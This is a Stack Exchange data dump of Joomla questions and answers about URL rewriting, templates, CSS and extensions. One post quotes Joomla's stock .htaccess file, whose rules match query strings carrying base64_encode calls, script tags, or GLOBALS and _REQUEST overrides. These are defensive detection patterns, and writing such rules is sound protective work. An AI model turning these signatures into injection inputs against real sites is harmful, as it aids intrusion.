  <row Id="16710" PostTypeId="2" ParentId="16709" CreationDate="2016-05-28T11:48:55.183" Score="1" Body="&lt;p&gt;htaccess will not give you proper result as this doesn't rewrite &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; so Joomla routing works with bad URI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will help is creating system plugin and replace this variable in &lt;code&gt;onAfterInitialise&lt;/code&gt; function &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;if you don't need to save the URL you can use something from here &lt;a href=&quot;http://www.inmotionhosting.com/support/website/redirects/setting-up-a-301-permanent-redirect-via-htaccess&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/website/redirects/setting-up-a-301-permanent-redirect-via-htaccess&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;your htaccess rule will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^folder1(/.*)$ /folder3$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-05-28T22:50:54.587" LastActivityDate="2016-05-28T22:50:54.587" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="16711" PostTypeId="2" ParentId="15895" CreationDate="2016-05-28T22:59:26.483" Score="2" Body="&lt;p&gt;do you really need to process it with php? 1 query and MySQL will do it all very fast&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;insert into #__table3 (column1, column2)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;select column1, column2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all in one query and you can use any join and I believe even union(union is not tested)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can build this query with joomla&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that's it. no looping necessary. tested - efficiency is at least 2500 times faster :) (real data migration test)&lt;/p&gt;&#xA;" OwnerUserId="8261" LastActivityDate="2016-05-28T22:59:26.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16712" PostTypeId="2" ParentId="16695" CreationDate="2016-05-29T21:36:42.767" Score="1" Body="&lt;p&gt;The webhosting company SiteGround (siteground.com) has a Joomla-specific Git that works pretty well along with a &quot;Staging&quot; tool that allows you to create working copies of the site, make changes, then push the site live. (I use Siteground but have no other connection to them.) - Greg&lt;/p&gt;&#xA;" OwnerUserId="8424" LastActivityDate="2016-05-29T21:36:42.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16716" PostTypeId="1" CreationDate="2016-05-30T10:58:09.287" Score="2" ViewCount="61" Body="&lt;p&gt;This will work like e.g. If user is having super administrator access level, then user will be redirected on the default &lt;strong&gt;Isis&lt;/strong&gt; administrator template. But if user is having access of administrator level or any other like manager, then the user will be redirect on &lt;strong&gt;Hathor&lt;/strong&gt; administrator template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any workaround for it?&lt;/p&gt;&#xA;" OwnerUserId="8482" LastEditorUserId="7394" LastEditDate="2020-05-14T22:10:24.083" LastActivityDate="2020-05-14T22:10:24.083" Title="is there any workaround for viewing different admin template according to user role" Tags="|joomla-3.x|php|templates|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16717" PostTypeId="2" ParentId="16716" CreationDate="2016-05-30T21:41:14.847" Score="2" Body="&lt;p&gt;Follow this simple steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Users&lt;/strong&gt; &gt; &lt;strong&gt;Manage&lt;/strong&gt;, from here select your user.&lt;/li&gt;&#xA;&lt;li&gt;Inside you can can see a Tab called &lt;strong&gt;Basic Settings&lt;/strong&gt;, change the template for each user&lt;br/&gt; in the field &lt;strong&gt;Backend Template Style&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mTQMC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mTQMC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the time we don't have this feature for user groups by default, so we can't automate it a little more, if you have few users use the above process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have many users and you need this feature try with one extension like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/style-a-design/templating/advanced-template-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advanced Template Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2016-05-30T22:21:15.063" LastActivityDate="2016-05-30T22:21:15.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16720" PostTypeId="1" AcceptedAnswerId="16721" CreationDate="2016-05-31T06:46:16.677" Score="1" ViewCount="516" Body="&lt;p&gt;I want to add a new font to helix3 template, the font I want to use isn't in the google font list that the template provides,how can i do that?&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2016-05-31T07:28:04.857" Title="I want to add a new font" Tags="|joomla-3.x|helix3|fonts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16721" PostTypeId="2" ParentId="16720" CreationDate="2016-05-31T07:28:04.857" Score="1" Body="&lt;p&gt;In your templates CSS file (mostly custom.css) import the google font you want to use like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@import url('https://fonts.googleapis.com/css?family=Open+Sans');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information can be found here &lt;a href=&quot;https://stackoverflow.com/questions/14676613/how-to-import-google-web-font-in-css-file&quot;&gt;https://stackoverflow.com/questions/14676613/how-to-import-google-web-font-in-css-file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="56" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-05-31T07:28:04.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16722" PostTypeId="1" CreationDate="2016-05-31T14:24:21.417" Score="4" ViewCount="71" Body="&lt;p&gt;I have the great pleasure of upgrading a Joomla &lt;strong&gt;1.0&lt;/strong&gt; site to v3.5 (no comments from the peanut gallery &lt;em&gt;please&lt;/em&gt;, lol).  Overall it's going just fine, but the old version of writing SEF urls is quite different than v3, and I'm not an expert in Apache/htaccess.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vast majority of the links that are the greatest concern are those using a custom component for products being sold. such as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/component/option,com_virtuemart/page,shop.product_details/flypage,shop.flypage/product_id,1/category_id,1/manufacturer_id,0/Itemid,59&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many core Joomla links such as this in play, and should be converted, but are less critical:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/content/view/106/159/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the two sets of .htaccess that are currently in use.  I've tried placing the v1 SEF section within the new .htaccess file, but it interferes with the workinig v3.5, and the 404 errors seem to persist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Joomla! v1.0 SEF Section (from old site).&#xA;RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR]&#xA;RewriteCond %{REQUEST_URI} (/|\.htm|\.php|\.html|/[^.]*)$  [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule (.*) index.php&#xA;## End - Joomla v1 SEF Section.&#xA;&#xA;## Begin - Joomla! v3.5 core SEF Section.&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule .* index.php [L]&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it is now, any links such as the above are resulting in a 404 error, so the simplest &quot;simplistic&quot; solution I can imagine (but don't know how to setup) is to have a folder called &lt;code&gt;\component&lt;/code&gt; (singular) and within that use &lt;code&gt;.htaccess&lt;/code&gt; and &lt;code&gt;mod_rewrite&lt;/code&gt; in some way that Apache will parse, capturing the &quot;query string&quot;, and redirect anything like it to a custom component where we handle all the conversion issues and redirect accordingly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;www.example.com/component/option,com_virtuemart/.../Itemid,59&lt;/code&gt; &#xA;rewrites to &#xA;&lt;code&gt;www.example.com/index.php?option=com_mycomponent&amp;amp;...&amp;amp;Itemid=59&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a practical approach, and if so, how would the .htaccess look, and if not, is there another solution that I'm not aware of (not much reliable J1.0 documentation out there anymore)&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-05-31T17:44:12.757" Title="How to configurate Joomla or Apache for v1 SEF Urls?" Tags="|sef|apache|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16723" PostTypeId="1" CreationDate="2016-05-31T17:37:53.580" Score="1" ViewCount="44" Body="&lt;p&gt;does somebody know about an extension with that i can manage and display different shops with the following deatils:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;adress&lt;/li&gt;&#xA;&lt;li&gt;zip code&lt;/li&gt;&#xA;&lt;li&gt;opening time&lt;/li&gt;&#xA;&lt;li&gt;skills at this location&lt;/li&gt;&#xA;&lt;li&gt;a map&lt;/li&gt;&#xA;&lt;li&gt;phone number &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5771" LastActivityDate="2016-05-31T23:42:56.157" Title="Shop/Location management extension" Tags="|joomla-3.x|extensions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16724" PostTypeId="2" ParentId="16722" CreationDate="2016-05-31T17:38:02.337" Score="4" Body="&lt;p&gt;I managed to piece together a solution without using .htaccess, though I'm interested in a cleaner solution if somebody has one.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I created a system plugin that really does nothing in the conventional sense, in that it has no methods except &lt;code&gt;_construct ()&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;In the &lt;code&gt;_construct()&lt;/code&gt; method, I simply checked for strings in the URI that were found in the old links and are unique to Joomla v1.&lt;/li&gt;&#xA;&lt;li&gt;If found, it parsed the weird Joomla SEF string into something usable.  With that, I constructed the new J3.5 url that I need, and used &lt;code&gt;$app-&amp;gt;redirect()&lt;/code&gt; to send the user there.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm not in love with it, but it works.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2016-05-31T17:44:12.757" LastActivityDate="2016-05-31T17:44:12.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16725" PostTypeId="2" ParentId="16723" CreationDate="2016-05-31T18:55:50.097" Score="1" Body="&lt;p&gt;You can do this in different ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;With one &lt;a href=&quot;http://extensions.joomla.org/category/ads-a-affiliates/classified-ads&quot; rel=&quot;nofollow&quot;&gt;Classified Ads&lt;/a&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;Implement a &lt;a href=&quot;http://extensions.joomla.org/category/directory-a-documentation/directory&quot; rel=&quot;nofollow&quot;&gt;Directory&lt;/a&gt; extension.&lt;/li&gt;&#xA;&lt;li&gt;Also you can create your own custom solution using a &lt;a href=&quot;http://extensions.joomla.org/category/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;Content Construction Kit&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Most of the options mentioned above have the functionality to add the fields that you&lt;br/&gt; mention in your requirement.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-05-31T18:55:50.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16726" PostTypeId="2" ParentId="16723" CreationDate="2016-05-31T23:42:56.157" Score="1" Body="&lt;p&gt;Your question is probably too broad to provide an accurate answer but I'll throw in a suggestion anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FocalPoint is free and does a great job of displaying location information including custom content like a CCK so you can add fields for the address, zip code, opening times, skills, map, phone number and whatever else you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/focalpoint&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/focalpoint&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-05-31T23:42:56.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16727" PostTypeId="1" AcceptedAnswerId="16728" CreationDate="2016-06-01T06:45:36.613" Score="0" ViewCount="35" Body="&lt;p&gt;I have a strange issue on a Gantry 4 website where I updated the content of a page and the menu title and alias and this seems to have broken the template layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The content is pushed to the left but only this one page is affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried simplifying the article content to a single space in case I had introduced some invalid code but this makes no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renaming the menu alias so that it does not contain &quot;span&quot; in the text seems to fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-06-01T06:45:36.613" Title="How can I fix a strange formatting problem on a particular page on my Gantry website?" Tags="|joomla-3.x|bootstrap|gantry|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16728" PostTypeId="2" ParentId="16727" CreationDate="2016-06-01T06:45:36.613" Score="1" Body="&lt;p&gt;This took quite a while to find but Bootstrap includes some default styling as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[class*=&quot;span&quot;] {&#xA;  float: left;&#xA;  margin-left: 30px;&#xA;  min-height: 1px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This unfortunately conflicts with Gantry which adds a class based on the menu alias to the &lt;code&gt;body&lt;/code&gt; CSS selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix the problem, I created a custom CSS file and added the following code to override the Bootstrap styling:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[class*=&quot;span&quot;] {&#xA;  float: inherit;&#xA;  margin-left: inherit;&#xA;  min-height: inherit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-06-01T06:45:36.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16729" PostTypeId="1" AcceptedAnswerId="16734" CreationDate="2016-06-01T10:14:29.580" Score="0" ViewCount="503" Body="&lt;p&gt;Can someone let me know to change the color of a tab when it is clicked. For example, in the attached image you can see that when I click on 'Create a Security Policy Rule' and it shows the background color as Dark Grey. I would like to change the color from Dark Grey to say Light Grey or Red. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone show me how to do that please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carlton&lt;a href=&quot;https://i.stack.imgur.com/6GiUa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6GiUa.png&quot; alt=&quot;Backgound Image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8056" LastEditorUserId="7394" LastEditDate="2016-06-01T21:41:33.887" LastActivityDate="2016-06-06T10:27:13.470" Title="How to Change Color When Tab Clicked" Tags="|joomla-3.4|menu|css|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16730" PostTypeId="1" CreationDate="2016-06-01T13:27:08.567" Score="0" ViewCount="470" Body="&lt;p&gt;i have a website in joomla. I have this site hosted in a remote server. I have this joomla placed into a folder in the root public_html folder. I have activated the url rewriting Global Option in the Joomla Admin Panel. I access to the website through the &lt;a href=&quot;http://web.es/joomla&quot; rel=&quot;nofollow&quot;&gt;http://web.es/joomla&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to access to this site through &lt;a href=&quot;http://web.es&quot; rel=&quot;nofollow&quot;&gt;http://web.es&lt;/a&gt; without '/joomla'. I have been setting both the root level .htaccess as the .htaccess placed into the /public_html/joomla/ folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root level (/public_html/) (/) .htaccess file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^(www.)?web.es$ [NC]&#xA;RewriteCond %{REQUEST_URI} !^/joomla/&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /joomla/$1&#xA;RewriteCond %{HTTP_HOST} ^(www.)?web.es$ [NC]&#xA;RewriteCond %{REQUEST_URI} ^/joomla/&#xA;RewriteRule ^/joomla/(.*) joomla/ [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;/public_html/joomla .htaccess file content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package    Joomla&#xA;# @copyright  Copyright (C) 2005 - 2016 Open Source Matters. All rights reserved.&#xA;# @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that disallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## No directory listings&#xA;IndexIgnore *&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymlinks&#xA;Options -Indexes&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA; RewriteBase /joomla/&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How could it be reached?&lt;/p&gt;&#xA;" OwnerUserId="8402" LastActivityDate="2016-06-13T11:59:26.523" Title="To access to joomla site trhough http://web.es without showing into the url bar the /joomla folder name" Tags="|.htaccess-configuration|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16731" PostTypeId="1" CreationDate="2016-06-01T14:23:41.363" Score="0" ViewCount="126" Body="&lt;p&gt;I am trying to override the helper file of XYZ component and for this I have created a system plugin using these documentation -&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J1.5:Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J1.5:Plugin/Events/System&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/205/how-to-override-core-classes&quot;&gt;How to override core classes?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My plugin is working fine and its giving me the values but only problem is - the plugin is loading before the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;em&gt;onAfterRoute&lt;/em&gt; event for this and also tried some other events such as &lt;em&gt;onAfterInitialise, onAfterDispatch, onAfterRender&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do now to load my plugin after the component?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-07-02T19:35:08.413" Title="helper file overrider is not working" Tags="|joomla-3.x|overrides|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16734" PostTypeId="2" ParentId="16729" CreationDate="2016-06-01T19:19:33.300" Score="2" Body="&lt;p&gt;You can use a tool like &lt;strong&gt;&lt;em&gt;Firebug&lt;/em&gt;&lt;/strong&gt; or similar for inspect the source code of your page directly in your browser, a tool like this give you information about the CSS selectors and the path to the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it seems that you have enabled the compression of code, add or change this code in your main css file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#je_accord754.je_acc ul ul li:hover &amp;gt; a, &#xA;#je_accord754.je_acc ul ul li.open &amp;gt; a, &#xA;#je_accord754.je_acc ul ul li.active &amp;gt; a {&#xA;    background: #F08A36;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also here you have an screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VFQ0c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VFQ0c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-06-01T19:19:33.300" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="16738" PostTypeId="2" ParentId="16730" CreationDate="2016-06-01T22:04:13.440" Score="1" Body="&lt;p&gt;I have not tested this but I believe you need to put the .htaccess file also in the root folder but overall it seems more commonly recommended to move your joomla directory to the root folder. &#xA;Some hosts have places where you can also adjust where the domain points but I believe that it also just creates or edits an .htaccess in the root DIR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Items found&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/26793005/htaccess-rewrite-rules-to-hide-joomla-in-subdirectory-conflicting-with-multiple&quot;&gt;https://stackoverflow.com/questions/26793005/htaccess-rewrite-rules-to-hide-joomla-in-subdirectory-conflicting-with-multiple&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Moving_the_site_among_directories/sub-directories&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Moving_the_site_among_directories/sub-directories&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/support-forum/joomla-support/joomla-website-in-a-subdirectory-htaccesstxt-file/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/support-forum/joomla-support/joomla-website-in-a-subdirectory-htaccesstxt-file/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-06-01T22:17:18.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16739" PostTypeId="2" ParentId="16729" CreationDate="2016-06-02T00:02:49.583" Score="0" Body="&lt;p&gt;Hi I check it and this what you have to do, in you joomla go to template and in the files find this template/gk-news2/css/template css&lt;/p&gt;&#xA;&lt;p&gt;I think you have a folder with this name template css in the left side you have a number find this number 738 in that line you have this code&lt;/p&gt;&#xA;&lt;p&gt;and you have to change this:&lt;/p&gt;&#xA;&lt;h1&gt;je_accord754.je_acc &amp;gt; ul &amp;gt; li &amp;gt; a:hover, #je_accord754.je_acc &amp;gt; ul &amp;gt; li.active &amp;gt; a, #je_accord754.je_acc &amp;gt; ul &amp;gt; li.open &amp;gt; a { template css:738&lt;/h1&gt;&#xA;&lt;pre&gt;&lt;code&gt;color: #f08937 !important;&#xA;background: none !important;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;change this:&#xA;color: #f08937 !important;.... for this.... background-color: #f08937 !important;&#xA;and delete this: background: none !important;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RoVCt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RoVCt.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;on your website in that menu click on what you want to change color, then click the right button and select inspect, reviews the code, in your right side is where are the css and there you can change color so you can see which is the one who does that change.&lt;/p&gt;&#xA;&lt;p&gt;when you have it, look up, there is a league where it indicates the folder, go to your template and searches that folder and there you can change it. Also in that league you can see the number of that code&lt;/p&gt;&#xA;" OwnerUserId="8427" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-06-02T15:55:48.727" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16741" PostTypeId="1" CreationDate="2016-06-02T12:33:06.837" Score="1" ViewCount="4328" Body="&lt;p&gt;I'm stuck with something that ought to be simple: My Joomla system is not sending activation emails when users register on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked (and double-checked) the configuration, and I can't see anything that would stop it from working. I also have the option enabled to send email to administrators when a user registers, and that email isn't arriving either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't a problem with email in general on the site, because the contact form works perfectly (using the Nevexo Contact extension).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm struggling to get to the bottom of the problem. My current thinking is that possibly one or other of the extensions I've got installed is causing the problem, but I don't know which one and I'm drawing a blank on how to debug it any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions on how I can work this one out? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, for reference: Joomla version 3.5.1.&lt;/p&gt;&#xA;" OwnerUserId="5618" LastEditorUserId="126" LastEditDate="2017-02-28T12:11:46.367" LastActivityDate="2023-01-14T23:19:51.470" Title="Activation email not being sent" Tags="|login|emails|registration|configuration|global-configuration|" AnswerCount="7" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
